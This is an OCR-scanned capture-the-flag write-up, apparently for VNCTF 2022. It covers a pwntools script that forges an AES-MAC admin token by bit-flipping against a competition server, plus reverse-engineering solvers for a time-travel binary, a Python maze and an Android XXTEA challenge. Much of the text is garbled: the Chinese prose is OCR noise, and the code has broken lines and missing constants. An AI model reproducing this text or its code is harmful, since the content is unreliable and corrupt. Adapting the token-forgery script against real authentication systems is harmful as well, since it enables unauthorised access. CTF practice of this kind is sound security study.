r = pow(self.g , k, self.p) % self.q
s (inverse(k, self.q) * (z + x * r)) % self.q
if (s !'=0) and (r != 0)

return (r, s)

RANDOM = PseudoRandomNumbersGenerators(getPrime( ))
DSA = DigitalSignatureAlgorithm(RANDOM)
print(DSA.sign(b"I'm Admin.Plz give me flag!",sk))

* AreYouAdmin2

AES-MAC, HEFEMIFI—TMAC, MACERD FHEEIAX, ML dicEEEZAEUREIIFnonce, M4E HAY
nonce2 7N, FIEESRHIEE, MEEEDbitflippinglE2Admin=12AIFEMACER D nonce Z fGsha Z BifAMAC
FURSHERIM AT AL tagiRER—F TERadminZl, MBEEMIHRE.

7E: nonce KERHB16 SHIMAIETR ILnonceE—TMREE

from pwn import *
from Crypto.Util.number import inverse,bytes_to_long, long_to_bytes
from hashlib import sha256




from Crypto.Util.number import *
from hashlib import sha256
import string

from pwnlib.util.iters import mbruteforce

table = string.ascii_letters+string.digits
def dpow(io):
io.recvuntil(b"XXXX+")
suffix = io.recv(16).decode("utf8")
io.recvuntil(b"== ")
cipher = io.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==
cipher, table, length=4, method='fixed')
io.recvuntil(b"XXXX :")

io.sendline(proof)

xor(a,b):

return bytes([i*j for i,j in zip(a,b)])

class Forgery:
def __init__(self , ID , nonce , cipher , k , n ,authdate,the_time):

+ nonce + b'", "time":

plain = b'{"id": "' + ID + b'", "admin": @, "nonce":
+ str(the_time).encode() + b'}\n\n\n\n\n\n\n\n\n\n'

self.key = (k , n)

self.authdate = authdate

self.plain_state = [(plain[i*16:(i+1)*16]) for i in range(len(plain)//16)]

self.cipher_state = [(cipher[i*16:(i+1)*16]) for i in range(len(cipher)//16)]

do_forgery(self):

new_plain_state , new_cipher_state = self.xor_admin_to_true()

new_cipher_state = self.xor_nonce_for_mac(new_plain_state,new_cipher_state)

new_cipher = new_cipher_state[0] + new_cipher_state[1] + new_cipher_state[2] +
new_cipher_state[3] + new_cipher_state[4] + new_cipher_state[5]

return new_cipher

def sign(self,msg ,r):
k , n = self.key
ST inverse(2,n) * (msg * inverse(r,n) + r) % n
S2 = k * inverse(2,n) * (msg * inverse(r,n) - r) % n
return (S1 , S2)

_mac(self,msg):
auth_date = self.authdate
msg_state = [bytes_to_long(msg[i*16:(i+1)*16]) for i in range(len(msg)//16)]
auth_date
bytes_to_long(sha256(str(self.sign(auth_date, auth_date)).encode()).digest()[:16])




for plain_state in msg_state:
auth_date *= plain_state
auth_date =
bytes_to_long(sha256(str(self.sign(auth_date, auth_date)).encode()).digest()[:16])

return auth_date

def xor_admin_to_true(self):
new_cipher_state = []
new_plain_state = []
for i in range(2):
new_plain_state.append(self.plain_state[i])
new_cipher_state.append(self.cipher_state[i])
new_plain_state.append(xor(self.plain_state[2],b'\x00' * 3 + b'\x01' + b'\x00'

new_cipher_state.append(xor(self.cipher_state[2],b'\x00' * 3 + b'\x01' + b'\x00'

for i in range(3):
new_plain_state.append(self.plain_state[i+3])
new_cipher_state.append(self.cipher_state[i+3])

return new_plain_state , new_cipher_state

xor_nonce_for_mac(self,new_plain_state, new_cipher_state):

print("==start to forgery nonce==",new_plain_state[3].decode())

old_plain_part_msg = self.plain_state[0] + self.plain_state[1] +
self.plain_state[2]

new_plain_part_msg new_plain_state[0] + new_plain_state[1] +
new_plain_state[2]

oppm_mac self._mac(old_plain_part_msg)

nppm_mac = self._mac(new_plain_part_msg)

new_cipher_nonce_part = new_cipher_state[3]

the_new_plain_state_nonce = (long_to_bytes(oppm_mac *

bytes_to_long(new_plain_state[3]) * nppm_mac))

new_cipher_state[3] =

xor (xor(new_cipher_nonce_part, self.plain_state[3]), the_new_plain_state_nonce)

return (new_cipher_state)




def get_time(io):
io.recvuntil(b'==plz give me your option==")
io.sendline(b'T")
io.recvuntil(b'[CLOCK]:Time is ')
the_time = int(io.recvline().strip())

return the_time

register_get_encrypt_token(io, ID):
io.recvuntil(b'==plz give me your option==")
io.sendline(b'R")

io.recvuntil(b"input your username:")
io.sendline(ID)

io.recvuntil(b'your encrypted token is:')
encrypted_token = io.recvuntil(b',your')[:-5]
io.recvuntil(b'nonce is:"')

nonce = io.recv(8)

return encrypted_token, nonce

login(io,ID,c):

io.recvuntil(b'==plz give me your option==")
io.sendline(b'L")
io.recvuntil(b'input your username:')
io.sendline(ID)
io.recvuntil(b'input your encrypt token:')
io.sendline(c)

while
io = remote("node4.buuoj.cn",
dpow(io)
io.recvuntil(b'my server authdate is:')

auth_date = io.recv(16)




ID = b'd33b476zuishuai’

the_time = get_time(io)

cipher,nonce = register_get_encrypt_token(io, ID)
print(len(cipher))

print(len(nonce))

print(nonce)

forgery =

Forgery(ID,nonce.hex().encode(),cipher,k,n,bytes_to_long(auth_date), the_time)

c = forgery.do_forgery()

login(io, ID,c)

msg = io.recvline()

print(msg)

if msg!= b'Try again.\n' and msg != b'Error.Something Wrong!\n':

break
time.sleep(1)
io.close()

io.interactive()

I Reverse
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Come on! Time travel starts now!

X IRFATHIAESS 2 [ BIE 25 A — AR [A] L BRAEBRATTHY SR A A AL IX A AL A 1]

1

STRA—3, KRB THFE REEES EEJUTE. ..

(ERGEA N B 16 2 B AL i R

int __cdecl main(int argc, const char **argv, const char **envp)

{




int v4[24];
char flag[32];
char date[20];
int v7;

int j;

int 1i;

_main(argc, argv, envp);
puts("Come on! Time travel starts now!\n");
LinkStart();
printf("iEMABE:");
scanf("%s", date);
SetDate((__int64)dates, (unsigned int *)date);
for (i =0; 1 <= 3; ++i )
{
if ( endate[i] != dates[i + 28] )

while ( i <=
{

for (j =1, j <= 4; ++j )

*((_BYTE *)&C + 6 * i + j) = date[v7++];

++1;
}
Door () ;
printf(asc_405100);

exit(9);

}

PartSuccessful(date);
printf("BEERHERFRRK:");
scanf("%s", flag);

SingFlag(flags, flag);

for (1 =0; i <= 5; ++1i )

{

va ([ i] = (unsigned _

v4[ i+ 1] (unsigned __int8)BYTE1(flags[i + 1;

va[ i+ 2] (unsigned __int8)BYTE2(flags[i + 60]);
| HIBYTE(flags[i + 1);

_int8)flags[i + 60];

va ([ i+
}
for (1 ;1 <= 23; ++i )

v4[i - (va[i - 1] % + v4[i] + 5) A

for (i : g ;o++l )

{
if ( v4[i] !'= enflag[i] )




for (1 =0; 1 <=5; ++i )
{
for ((j =0; j <=5, ++j )
*((_BYTE *)&C + 6 * i + j) =
}
Door () ;
printf(asc_405138);
exit(0);

}
EndSuccessful(flag);

return 9;

0x02 SetDate

BB DT — T SetDate PR %L

__int64 __fastcall SetDate(__int64 dates, unsigned int *date)
{

__int64 result;

int v3;

int k[36];

unsigned int

unsigned int

unsigned int

unsigned int

int 1i;

v5 = _byteswap_ulong(*date);

v6 = _byteswap_ulong(date[1]);

v7 = _byteswap_ulong(date[2]);
v8 = _byteswap_ulong(date[3]);
k[ v A )

’

v3 A CalcRoundKey(k[i + 3] * k[i + 2] * (unsigned int)k[i + 1] * CK[i]);




result = (unsigned int)k[i + 4];
*(_DWORD *)(dates + 4i64 * i) = result;

}

return result;

k[@] A CalcRoundKey( k[3] *» k[2] ~ k[1] ~ CK[@] )

k[1] * CalcRoundKey( k[4] * k[3] * k[2] » CK[1] )

k[30] A CalcRoundKey( k[33] * k[32] ~ k[31] ~ CK[308] )

k[31] » CalcRoundKey( k[34] » k[33] * k[32] *» CK[31] )

BAMAERENE T CKEEM IR FAIK35] k[32] k[33] k[34] (tEHfiEdates[28] [29] [30] [31])
THESECalcRoundKey B ARME, RAXOMDXRZENME

BALFEERIENFZ

k[35] * CalcRoundKey( k[34] * k[33] » k[32] ~ CK[31] )

k[31] » CalcRoundKey( k[33] ~ k[32] ~ k[31] ~ CK[38] )

FRANUETEFR
k[i] = k[i + 4] » CalcRoundKey( k[i + 3] A k[i + 2] A k[i + 1] » CK][i] )
CalcRoundKey

MERASFRABIBUMNEATRM (BRIt r] AIRARALATS2311)

__int64 __fastcall CalcRoundKey(int a1)
{

return al A (unsigned int)(__ROL4__(aTl,
}




GetDate!

TRREBIFRHERTE

#include <stdio.h>

#define SHL(x, n) ( ((x) & OXFFFFFFFF) << n )

#define ROTL(x, n) ( SHL((x), n) |

static const unsigned long FK[4] = {

static const unsigned long CK[

{

}s

unsigned int CalcRoundKey(unsigned int ka);

void SetKey(unsigned int SK[32], unsigned char key[16]);

int main(void)

{
unsigned int t[36];
unsigned int k[] = {

int i, j;

for (1=




for (i = ;1 >=4; i-- )

’

t[i - 4] = t[i] » ( CalcRoundKey(t[i - 3] ~ t[i - 2] *~ t[i - 1] A CK[i - 4]) );

for (i =0; 1 ;odtt )

{

t[i] *= FK[i];

printf("Date:");
unsigned char * p = (unsigned char *)t;
for (1 =1; 1 <= 2; i++ )
for (1 =15 3 <=4; j++ )
printf("%c”, pl[i * 4 - j]);

return

unsigned int CalcRoundKey(unsigned int ka)
{

unsigned int retval =

int i;

retval = ka * (ROTL(ka, ) A ROTL(ka, ));

return retval;

GetPart!

Date:20211205

Process exited after 1.043 seconds with return value 0
8 1% - S\TE s &k,




0x03 SingFlag
ZRTIEWBE TEAIUERRRER

22 Windows PowerShell

Come on! Time travel starts now!

XIRBATHIES 2 B B E A — B 1A U BUAEFRAT B SR FRAE XA AR 7] 2

RA—3h, Rl THRREDE RIKHER LEKUTE. ..
RN FH 152 2 AR AR A

iR TR ReEE, IRETHIRE R 5XA

MXE 2 F] USRI T B RRF R E 2411

printf("h‘?dﬂ’J' i)
scanf("%s", flag);
singFlag(flags, flag); /] JERUEAESEH I L 1SR
for (1 =0; 1 <=5; ++1 )
{
4[4 * 1] = flags[i + 6@];
4[4 * 1 + 1] = BYTE1l(flags[i + 60]);
va[4 * 1 + 2] = BYTE2(flags[i + 60]);
v4a[4 * i + 3] = HIBYTE(flags[i + 60]);
¥
for (1 =1; i <= 23; ++1 )
va[i - 1] *= (v4[i - 1] % ex12u + v4[i] + 5) ~ ex41;// XTI S Pk LR G EEDFS 75 45 T AT S sl ml e ke fi
for (1 =0; 1 <= 23; ++i )
if ( v4[i] != enflag[i]™) /7 WORAKIE R R A B AR AS DG
for (1 =0; 1 <=5; ++1 )
{
for ((j =0; J<=5; ++j)
*(& + 6 * 1 + 7) = 14;
Door();
FRFAX

void __fastcall SingFlag(__int64 flags, __int64 flag)
{

int v2;

unsigned int v3;

int 1i;

int v5;



for (1 =0; 1 <= 5; ++i )

’ ’

*(_DWORD *)(4i64 * i + flags) = GetWordFromStr((char *)(flag + 4 * i));

VS = 6;
v3 = 0;
while ( v5 <=
{
if ( v5 %
{
*(_DWORD ) (4i64 * v5 + flags) = *x(_DWORD x)(4i64 * v5 - + flags) *» *(_DWORD *)
(4164 * v5 - + flags);
}
else
{
v2 = *x(_DWORD =*)(4i64 * v5 - + flags);
*(_DWORD *)(4i64 * v5 + flags) = T(*(unsigned int *)(4i64 * v5 - 4 + flags), v3++)

A2 &G =2H flags[60] flags[61] flags[62] flags[63] flags[64] flags[65]
H

EEEHFN




: flags[i] = flags[i + 6] A flags[i + 5]

: flags[i] = flags[i + 6] A T( flags[i + 5], j )

(j HEIR SE—IRF0 EBEIRF1LALL L)

TEH

SEIUARR R 1F BN AT A4 BB

__int64 __fastcall T(unsigned int al, int a2)

char v3[28];

unsigned int v4;

SplitIntToArray(al, v3);
LeftLoop4Int(v3, 1i64);
v4 = MergeArrayToInt(v3);

return v4 *» Rcon[a2];

0x04 DFS
ZIELAEEAET, MEMEBZERIX;NTMEUE (flags[60] flags[61] flags[62] flags[63] flags[64] flags[65])
XINFR I MENF RS F 1 4E
{5040 flags[60] = 0x12345678

t[0] = 78, t[1] = 56, t[2] = 34, t[3] = 12

;i)

unsigned __int8)flags[i + 1;
__int8)BYTE1(flags[i + 1);
(unsigned __int8)BYTE2(flags[i + 1);

= (unsigned

HIBYTE(flags[i + D;

s ;o oH+1 )
I A= (t[i - 1] %

TEMZXZ2THEAMENRN, BRNTEEERERRERE, RAEDXT, FESEME FRAREERR



(RE—TESIZREEN, RROMAEX)

void DFS(unsigned char * flag, int deep)
{
int 1i;
if ( deep ==
{
for (i =0; i ;1)
{
flags[x][i] = flag[i];

i++ )

’

(i % + flag[deep] + )) == enc[deep - 1] )

flag[deep - 1]

DFS(flag, deep

BEMAERNBEE FNAINZZEIENEX S (FIERE EERFPartSuccessful 2 E)

. UdLd Uyuuuuuuuu4u4u4u publlic enrtidg

.data:0000000000404040 ; _DWORD enflag[24]

.data:0000000000404040 enflag dd 25h, 15h, ©DFh, ©A2h, @Ceh, 93h, ©ADh, 14h, 46h, ©C5h, ©Fh, 2Eh, 9Ah
.data:0000000000404040 ; DATA XREF: main+2B97o
.data:0000000000404040 ; PartSuccessful+1lCTo ...
.data:0000000000404040 dd ©EBh, 30h, ©F8h, 20h, ©ESh, ©CBh, 88h, @Ceh, ©BEh, 8Dh, ©E3h
.data:00000000004040A0 public C

.data:00000000004040A0 C db ©Bh ; DATA XREF: main+CF?To
.data:00000000004040A0 ; main+2F5To ...
.data:00000000004040A1 db ©Bh

.data:00000000004040A2 db ©Bh




0x05 GetFlag

TRSEMFEREH—T

#include <stdio.h>

static const int Rcon|

{

b

int GetIntFromChar(char c);

int GetWordFromStr(char * str);

int MergeArrayToInt(int array[4]);

void SplitIntToArray(int num, int array[4]);
void LeftLoop4Int(int array[4], int step);

int T(int num, int round);

void DFS(unsigned char * flag, int deep);

unsigned char flags[30]]

unsigned int enc[24] = {

int x;

int main(void)

{
int i, j, c;
unsigned int t[66];
unsigned char flag[24];
flag[23] = ;

DFS(flag, );

unsigned int * pi = (unsigned int =*)flags;




}

unsigned char * p = (unsigned char *)t;
for (1 =0; i< P 1+=4)
printf("%c%c%c%c", pl[i + 3], pli + 21, pli + 1], pl[il]);

printf("\n");

return 9;

void DFS(unsigned char * flag, int deep)
{
int 1i;
if ( deep ==
{
for (1 =0; i < ; i+t )
{
flags[x][i] = flag[i];

;i )

’

(1 % + flag[deep] + )) == enc[deep - 1] )

flag[deep - 1]

DFS(flag, deep




int GetIntFromChar(char c)
{

int result = (int) c;

return result &

int GetWordFromStr(char * str)

{
int one = GetIntFromChar(str[0]);

one = one << ;

two = GetIntFromChar(str[1]);

= two << ;

int three = GetIntFromChar(str[2]);

three = three << 8;

int four = GetIntFromChar(str[3]);

return one | two | three | four;

int MergeArrayToInt(int array[4])
{

int one array[0] <<

int two = array[1] <<

int three = array[2] << 8;

int four = array[3];

return one | two | three | four;

void SplitIntToArray(int num, int array[4])
{

int one = num >>

array[@] = one &

int two = num >>

array[1] = two &




int three = num >>

array[2] = three &

array[3] = num &

void LeftLoop4Int(int array[4], int step)
{
int tmp[4];

int 1i;

for (1 =0; i < 4; i++ )

tmp[i] = array[i];

int index = step;
for (i =20; 1< 4; it++ )
{
array[i] = tmp[index];
index++;

index = index % 4;

int T(int num, int round)

{

int NumArray[4];

SplitIntToArray(num, NumArray);

LeftLoop4Int(NumArray, 1);

int result = MergeArrayToInt(NumArray);

return result A Rcon[round];




fHBkbgvu Ok 42HR 3T
% fbgvu FE[fn4“J4Ly?ﬂ
A}h gF TmaaqSciUvGo nc
_|KfF TmaapRc1T\Go_nCA
~_KeF TmaasQciWvGo\nc
""KdF TmaarPciVvGolnc
“uKoF Tmaay[ci]vGoVnc
tKnF TmaaxZci\vGoWnc
“wKmF Tmaa {Yci_vGoTnc
vK1F TmaazXci vGoUnc
WHEF Tmq B 4538 rSH jwhs
J¥5HF Tmg/E HEHErSi jwis
WR{E[F Tma /& e rSE5 jwha
AEEF Tmq R VR 58 SHE jwis
qurkﬂﬁ$¥15571“ﬁk
Tmq /2 ﬁ;l%ﬂk]“ﬁg
Tmq & LS
Tmq /& ﬁ_i‘ ir Sﬂr J
qu??ﬁ%ﬁﬁlS gt
i &F Tmq & € ?élbﬁhﬂﬁﬁ
VOC[F{TimeGmloltMabhlnd
VNCTF {TimeF1lightMachine}
VMCWF {TimeEoigktMa hinf}
VLCVF {TimeDnig jtMaahing}

Q

L/)';U@"Urﬁl\]h’::/’:

ited after 0.2948 seconds with return value 0
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Come on! Time travel starts now!
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1518 H4 75K : VNCTF {TimeF1ightMachine}
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Flag: VNCTF{TimeF120211205ightMachine}

e BabyMaze

0x00 HEER?

MiEZEE—DpycXtE, FMBEBIRTR T 2python3.8, ABAFAIEFHF Fpython3.8RIIAE, EHIZEEXEN—ENA

https://www.python.org/downloads/windows/



https://www.python.org/downloads/windows/

0x01 XEHES
BEiZuncompyle6 KIMEIEG, MEEFT T LR THAFH

P2 Windows PowerShell

PS P:\python\Python3. 8\Scripts> . \uncompyle6. exe . \BabyMaze. pyc

t uncompyle6 version 3.8.0

t Python bytecode 3.8.0 (3413)

t Decompiled from: Python 3.8.1 (tags/v3.8.1:1b293b6, Dec 18 2019, 23:11:46) [MSC v. 1916 64 bit (AMD64

t Embedded file name: . \BabyMaze. py
t Compiled at: 2022-02-08 15:12:
t Size of source mod 2#%%32: 3707 bytes

TRBNEZEEF TG

import marshal, dis

open("BabyMaze.pyc", "rb").read()

code = marshal.loads(f[16:])

dis.dis(code)

BRI IES



P #EWindows PowerShell

>>> dis. dis(code)

JUMP_ABSOLUTE

2 JUMP_ABSOLUTE

4 JUMP_ABSOLUTE
LOAD_CONST
LOAD_CONST
LOAD_CONST
2 LOAD_CONST
4 LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
22 LOAD_CONST
24 LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
2 LOAD_CONST
4 LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
2 LOAD_CONST
4 LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
2 LOAD_CONST
4 LOAD_CONST
56 LOAD_CONST
LOAD_CONST
LOAD_CONST
2 LOAD_CONST
4 LOAD_CONST
LOAD_CONST
BUILD_LIST
LOAD_CONST
2 LOAD_CONST
4 LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
2 LOAD_CONST
4 LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST

NN NOHOHOOODODODOOODOODODOOO OO0 ON O

EfIfE

1B pythoniJopcode.h X4 EIFERL 7331l




#define BUILD_SET 104
#define BUILD_MAP 105
#define LOAD_ATTR 106
#define COMPARE_OP 107
#define IMPORT_NAME 108
#define IMPORT_FROM 109
#define JUMP_FORWARD 110
#define JUMP_IF_FALSE_OR_POP 111
#define JUMP_IF_TRUE_OR_POP 112

tdefine JUMP_ABSOLUTE 113

#define POP_JUMP_IF_FALSE 114
#define POP_JUMP_IF_TRUE 115
#define LOAD_GLOBAL 116
#define SETUP_FINALLY 122
#define LOAD_FAST 124
#define STORE FAST 125

: 00 3D 00 00 00 40 00 00 00 73 EE 07 00 00 [71704] .=...@...si s
:[71°06 71 02 p4 00 64 00 64 00 64 00 64 00 64 00 I £ Windows PowerShell
: 64 00 64 00 64 00 64 00 64 00 64 00 64 00 64 00 > i, chis(eeg)
: 64 00 64 00 64 00 64 00 64 00 64 00|64 00 64 00 1 0 JUMP_ABSOLUTE
: 64 00 64 00 64 00 64 00 64 00 64 00 64 00 64 00 > ;

: 64 00 67 1F 64 00 64 01 64 00 64 02|64 02 64 02 ;i Z }mgfﬁgggﬁg
: 64 02 64 02 64 02 64 02 64 02 64 02 64 02 64 02 A _ABSY

: 64 02 64 0264 02 64 0264 02 64 02|64 00 64 02 LR C AN

: 64 02 64 02 64 02 64 02 64 02 64 02 64 02 64 02 8 LOAD_CONST

: 64 00 67 1F |64 00 64 02 64 00 64 02 64 00 64 00 10 LOAD_CONST

: 64 00 64 00 64 00 64 00 64 00 64 00 64 00 64 02 12 LOAD_CONST

: 64 00 64 00 64 00 64 00 64 00 64 02|64 00 64 02 14 LOAD_CONST

: 64 00 64 00 64 00 64 00 64 00 64 00 64 00 64 02 16 LOAD_CONST

: 64 00 67 1F 64 00 64 0264 00 64 02|64 02 64 02 18 LOAD_CONST

: 64 00 64 02 64 02 64 02 64 02 64 02 64 02 64 02 20 LOAD CONST

: 64 00 64 0264 02 64 0264 00 64 02|64 02 64 02 29 LOAD CONST

: 64 00 64 02 64 00 64 02 64 02 64 02 64 00 64 02 4 LOAD CONST

: o4 00 57 1t od 2 26 LOAD_CONST

cCoOCOCOoOOCOCOCOOTN O

EEENENtE S co_code, XTRIERFIBNKE, FIUZ(TRETXThERE

CALL_FUNCTION —
POP_TOP
JUMP_FORWARD

LOAD_GLOBAL
LOAD_CONST
CALL_FUNCTION
POP_TOP
> LOAD_CONST
RETURN_VALUE
>>> len(code. co_code) 2,030
2030
>>> 3756

7EE

01111110 1110




FE2EEI6T, Bitco_codedicBNm]

S QIR QIS0 QL I6 OIS0 Q. |55

2 QL. IA0 OGN Q.16 Q. [QF Q. [s
caonoacaacan
cocoacoacaq.:
anooaacacacan:
cocoaococacan-
caoocacaacaa
camaoaamaqQ-

B Ifuncompyle6

22 Windows PowerShell

, 00010 1,0 1,0 1, 0,1, 0, 1, 0, 1], [1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1,|i§
o1 0 1, 0, 1, 0, 1], [1, 0, 1, 0, 0, O, 1, O, 1, O, 1, 0, O, O, O, O, O, O, O, O, 1, O, 1, O, 1, O, 1, O, 1, O, 1],
(1, o, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, O, 1, O, 1, O, 1, O, 1, O, 1], [1, 0, 0, O, 1, O, 1, O,
5, 000001010 1,0 0 0 1,0 0,0, 1, 0, 1, 0, 1], [1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1,
,01,1,1,111,1,%0 1, 1, 1, o, 1], [1, 0, 0, O, O, O, 1, 0, 0, O, O, O, 1, 0, 0, O, 1, 0, 0, O, 0O, O, 0, 0, 1
, 00 0,0 0, 1], [1,0 1,1, 1,1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0,
, 00010 0 0, 0 0, 0 0 0 0,0 00 0 1, 0, 0,0 0,7 1], [1, 1, 1, 1, 1, 1, 1,
, 1,1, 1,1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]]

y=1
step = input ()
for i in range(len(step)):
if stepli] == "w :
x =1
else:
if stepli] = s’ :
x +=1
else:
if stepl[i] = "a’:
y =1
else:
if stepli] == "4 :
y +=1
else:
return False
if _map[x][y] == 1:
return False
if x == 29 and v == 29:
return True

def main() :
print C Welcome To VNCTF2022!!!”)
print C Hello Mr. X, this time your mission is to get out of this maze this time. (FIND THAT 7!)’)
print C you are still doing the mission alone, this tape will self-destruct in five seconds.’)
if maze():
print (’ Congratulation! flag: VNCTF {md5 (your input)}’)
else:
print (“Sorry, we won’t acknowledge the existence of your squad.”)

if _name == _main ’

main ()
# okay decompiling . \BabyMaze. pyc
PS P:\python\Python3.8> .




0x02 GetMaze
AEME—BRETH

HANERZZHARITEN—

i in range(len(_map)):

for j in range(len(_map)):
if ( _map[i][j] == 1 ):
print("*", end = "")
elif ( _map[il[j] == ) :




print("!", end

elif ( _map[il[j

print("@", end
else:
print(" ", end="")
print("")

EMB R, BRZdHE (FEHBAMN)
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¥ 3k 3k 3k sk ok ok ok ok ok sk sk sk ok ok ok ok ok sk sk sk k ok ok kR k ko k ok
*@* *
¥ kkkkkkkkk kkkkk ¥ kkkkkkk
* * * * * * *
¥kkkk kkkkkkkkk kkkkk * * *
* * * *
¥¥k%k * kkk kkkkkkkkkkkkk kkkkkkk
* * * * * * * *
¥ kk%k k kkk kkkkkkk * kkk * *
* * * * * * *
¥kkkkkk * kkk * * ¥k% * kk*k
* * * * * *
¥ k%% * k¥
* * * *
*¥kkk kkkkkkk
*
*kkkk kkk *
* *
* kkk
* *
* %%
*
¥ %k kkkokkkk
*
*kkkk * * *
* * *
¥kkkkkk kkk kkkkkkk
* * * *
¥ kkkkk kkk kkk kkkkkkk kkkkk
* * *
% %k 3k sk sk ok ok ok %k ok ks ok ok ok kR kk sk sk k ok kR k ks k ok

* ¥ K K K K K K K K ¥ K

*
*
*
*
*
*
*
*
*
*
*
*
*
X
*
*




[1, 1,
, 1, 111

usedmap = [[@ for i in range(len(map))] for i in range(len(map)) ]
flag = "'

def DFS(x, y):
global flag
if x == len(map) - 2 and y == len(map) -

print(flag)

return

if map[x + 1][y] == @ and usedmap[x + 1][y] ==
usedmap[x][y] =




flag += 's
DFS(x + 1, y)
flag = flag[:-1]

usedmap[x][y]

if map[x - 1]ly] = and usedmap[x - 1][y] ==
usedmap[x][y]
flag += 'w'
DFS(x - 1, vy)
flag = flagl[:-

usedmap[x][y]

if map[x][y + 1] = and usedmap[x][y + 1] ==
usedmap[x][y]
flag += 'd'
DFS(x, y + 1)
flag = flag[:-
usedmap[x][y]

if map[x][y - 1] = and usedmap[x][y - 1] ==
usedmap[x][y]

flag += 'a

DFS(x, vy - 1)
flag = flag[:-1]
usedmap[x][y] =

print("path:")

GetFlag!

PS P:\python\Python3.8> . /python . \BabyMaze. pyc

Welcome To VNCTF2022!!! ,

Hello Mr. X, this time your mission is to get out of this maze this time. (FIND THAT 7!)

you are still doing the mission alone, this tape will self-destruct in five seconds.
ssssddssaassddddwwwwddwwddddddwwddddddssddwwddddddddssssaawwaassaassaassddssaassaawwwwwwaaaaaaaassaassddddwwddssddssssaal
ssddssssaaaaaawwddwwaawwwwaassssssssssssddddssddssddddddddwwaaaaaawwwwddssddwwwwwwwwddssddssssssssddddss

Congratulation! flag: VNCTF{md5 (your input)}

VNCTF{ d2790bd5b0732e}




°cml

androidi¥[g)

EE— A M activity EIEIET, HAFIE Dactivity:
supery);

public static void copyFiles(Context p®@,String pl,File p2){
int vi;
int vil;
int vi2;
Context contextl;
int vi4;
int vis;
byte[] bBytes = "vn2022".getBytes();
try{
vi = 0;
InputStream iopen = p@.getApplicationContext().getAssets().open(pl);
try{
FileOutputStream fileOutputSt = new FileOutputStream(p2.getAbsolutePath());
try{
int vi3 = 1024;
byte[] obyteArray = new byte[vi3];
vi = iopen.read(obyteArray);
while (vi != -1) {
vid = @;
for (vi5 = @; vi5 < vi; vi5 = viS5+1) {
obyteArray[vi5] = (byte)((obyteArray[vi5]*bBytes[(viS%bBytes.length)])&0x00ff);

H

fileOutputSt.write(obyteArray, vid4, vi);
}
fileOutputSt.flush();
if (iopen != null) {

iopen.close();

}

fileOutputSt.close();
}catch(java.i0.I0Exception e8){
ycatch(Exception e8){

3
label_©073 :
if (vi2) {
vi2.close();
¥
if (vil != null) {
vil.close();
i
throw e8;
}catch(java.1i0.I0Exception e8){
vil = vi;
Yratrh(Fyrantinn 2R\ S

RINTEcheckBIHENNEL T assets B ZFPAI—NdexSXE, IRi#H EINTEFileUtils EEFZERIAVIRIE:



supery);
b
public static void copyFiles(Context p®@,String pl,File p2){
int vi;
int vil;
int vi2;
Context contextl;
int vi4;
int vis;
byte[] bBytes = "vn2022".getBytes();
try{
vi = 0;
InputStream iopen = p@.getApplicationContext().getAssets().open(pl);
try{
FileQutputStream fileQutputSt = new FileOutputStream(p2.getAbsolutePath());
try{
int vi3 = 1024;
byte[] obyteArray = new byte[vi3];
vi = iopen.read(obyteArray);
while (vi != -1) {
vid = 0;
for (vi5 = @; vi5 < vi; vi5 = vi5+1) {
obyteArray[vi5] = (byte)((obyteArray[vi5]”*bBytes[(viS¥bBytes.length)])&0Ox00ff);
hH
fileOutputSt.write(obyteArray, vi4, vi);

H

fileOutputSt.flush();

if (iopen != null) {
iopen.close();

H

fileOutputSt.close();
}catch(java.i10.IO0Exception e8){
Ycatch(Exception e8){

¥
label_©873 :
if (vi2) {

vi2.close();

b
if (vil != null) {
vil.close();
H
throw e8;
}catch(java.i0.I0Exception e8){
vil = vi;
lratcrh(Fvrantinn aR\ S

M E1024—HHITRBIMAIIN T, HE oot RNFHNEIREN ATLAHE B R EEIEERE Ser SR BN R

(classes.dex)

exp:

key = "vn20622"

with open('ooo', 'rb') as f:

content = f.read()

with open('ooo.out', 'wb') as f:

for i in range(len(content)):
f.write((content[i]*ord(key[i % % len(key)])).to_bytes(1,byteorder="1little",
signed=False))

print('ok")




Z e dex¥E Njari#t T o TP BAR Mhcheck R LII Exxtea B iR, RS A B SOHITRER A 1S 2flag,

RRER R

public class exp{
public static byte[] bdecrypt(byte[] data, byte[] key) {
if (data.length == 0) {
return data;
}
return toByteArray(
decrypt(toIntArray(data, false), toIntArray(key, false)), false);

public static int[] decrypt(int[] v, int[] k) {
int n = v.length;
int z = v[n - 1], y = v[0], delta =
int p;
int rounds = + / n;
sum = rounds * delta;

y = v[e];

(sum >>> 2) & 3;
(p=n-1;p>86; p--) {
z =vlp - 1];

y = vlp] -= (z >

vin - 1];

v[B] -= (z >>> 5 Ay << 2) + (y >>> 3 A z << 4) » (sum * y) + (k[p &

} while ((sum -= delta) != 9);

return v;

private static int[] toIntArray(byte[] data, boolean includelLength) {
int n = (((data.length & 3) == 0)
? (data.length >>> 2)
((data.length >>> 2) + 1));
int[] result;

if (includelLength) {
result = new int[n + 1];
result[n] = data.length;
} else {
result = new int[n];




= data.length;
for (int i = 0; i < n; i++) {
result[i >>> 2] |= ( & data[i]) << ((i &
}

return result;

private static byte[] toByteArray(int[] data, boolean includelLength) {
int n = data.length << 2;

if (includelLength) {
int m = data[data.length - 1];

if (m > n) {
return null;
} else {

n=m;

}
byte[] result = new byte[n];

for (int i = 0; i < n; i++) {

result[i] (byte) ((data[i >>> 2] >>> ((i & 3) << 3)) &

}

return result;

public static void main(String[] args) {

byte[] aim =

byte[] flag = bdecrypt(aim, "H4pPY_VNCTF!!0Ov0".getBytes());
String f = new String(flag);
